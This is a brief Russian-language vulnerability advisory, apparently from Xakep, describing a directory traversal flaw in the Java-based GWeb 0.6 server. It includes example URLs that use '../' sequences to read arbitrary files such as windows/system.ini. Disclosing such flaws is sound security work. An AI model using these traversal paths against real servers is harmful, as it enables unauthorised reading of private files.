Удаленный просмотр произвольных файлов в GWeb server

Рекомендуем почитать:

Xakep #288. Неправильные эльфы

• Содержание выпуска
• Подписка на «Хакер»-60%

Программа: GWeb 0.6 

Уязвимость обнаружена в Java-based GWeb server. Удаленный пользователь может просматривать произвольные файлы на системе. 

Пример: 

http://[target]/../../../../../../windows/system.ini
http://[target]/../someFile